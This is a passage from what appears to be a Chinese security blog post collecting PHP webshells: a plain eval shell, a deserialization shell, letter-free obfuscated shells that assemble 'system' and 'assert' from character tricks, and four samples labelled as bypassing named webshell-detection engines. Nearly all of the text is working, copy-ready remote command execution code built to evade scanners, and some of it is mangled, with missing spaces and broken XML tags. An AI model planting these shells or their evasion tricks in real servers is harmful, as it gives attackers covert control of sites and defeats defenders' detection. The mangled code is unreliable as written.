eval($_GET['cmd']);?>
2、反序列化Webshell
<?php
Class H3{
function __destruct(){
eval($this->c);
}
}
$a= new H3;
$a->c = $_GET['cmd'];
3、无字母Webshell
<?php
$_=97;
$__=97+18;//s
$___=$__+6;//y
$____=$__+1;//t
$_____=$_+4;//e
$______=$__-6;//m
$res=chr($__).chr($___).chr($__).chr($____).chr($_____).chr($______);
$_=$_POST['cmd'];
$res($_);
<?php
$_=[];
[email protected]"$_";// $_='Array';
$_=$_['!'=='@'];// $_=$_[0];
$___=$_;// A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;// S
$___.=$__;// S
$__=$_;
$__++;$__++;$__++;$__++;// E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T
$____.=$__;
$_=$$____;
$___(base64_decode($_[_]));// ASSERT($_POST[_]);
样本1
<?php
//ASRC伏魔引擎bypass
$result=array_diff(["s","a","b","ys","te","m"],["a","b"]);
$a=join($result);
array_map($a,(array)$_REQUEST['1']);
?>
这样就完成了最简单的一次bypass
样本2
<?php
//bypass 牧云 文件名需要设置为system
$filename=substr(__FILE__,-10,6);
$command=$_POST[1];
$filename($command);
牧云引擎检测结果如下:
样本3
<?php
//bypass 牧云 and TAV反病毒引擎+洋葱恶意代码检测引擎
classA{
publicfunction__construct(){}
publicfunction__wakeup(){
$b=$_GET[1];
$result=array_diff(["s","a","b","ys","te","m"],["a","b"]);
$a=join($result);
Closure::fromCallable($a)->__invoke($_REQUEST[2]);
}
}
@unserialize('O:1:"A":1:{s:10:" A comment";N;}');
这个套了一层反序列化,隐藏污点汇集点的方法与样本一相同,利用数组差级构造system后利用原生类Closure的fromCallable函数
样本4
<?php
// dom and xml needed, install php-xml and leave php.ini as default.
// Author:LemonPrefect
$cmd=$_GET[3];
$_REQUEST[1] ="//book[php:functionString('system', '$cmd') = 'PHP']";
$_REQUEST[2] = ["php","http://php.net/xpath"];
$xml=<<<XML
<?xml version="1.0" encoding="UTF-8"?>
<books>
<book>
<title>We are the championstitle>
<author>LemonPrefectauthor>
<author>H3h3QAQauthor>
book>
books>
XML;
$doc=newDOMDocument;
$doc->loadXML($xml);
$clazz= (newReflectionClass("DOMXPath"));
$instance=$clazz->newInstance($doc);
$clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]);
$clazz->getMethod("registerPHPFunctions")->invoke($instance);
$clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]);
http://blog.nsfocus.net/https-webshell-1125/
https://xz.aliyun.com/t/11391
https://blog.csdn.net/Baidu_Secrity/article/details/108709536
https://mp.weixin.qq.com/s?__biz=MzI1NzM0MTMzMg==&mid=2247491411&idx=1&sn=9d943adb7cbbd79e25a6d253a95bf438&chksm=ea19bda8dd6e34be4ec6905f34f7a1f1c3b2554c62b6c9a576bcf3bc80028192307059dedbd1&scene=178&cur_album_id=2242631586997420036#rd
https://www.cnblogs.com/beautiful-code/p/15166042.html
征集原创技术文章中,欢迎投递
投稿邮箱:[email protected]
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。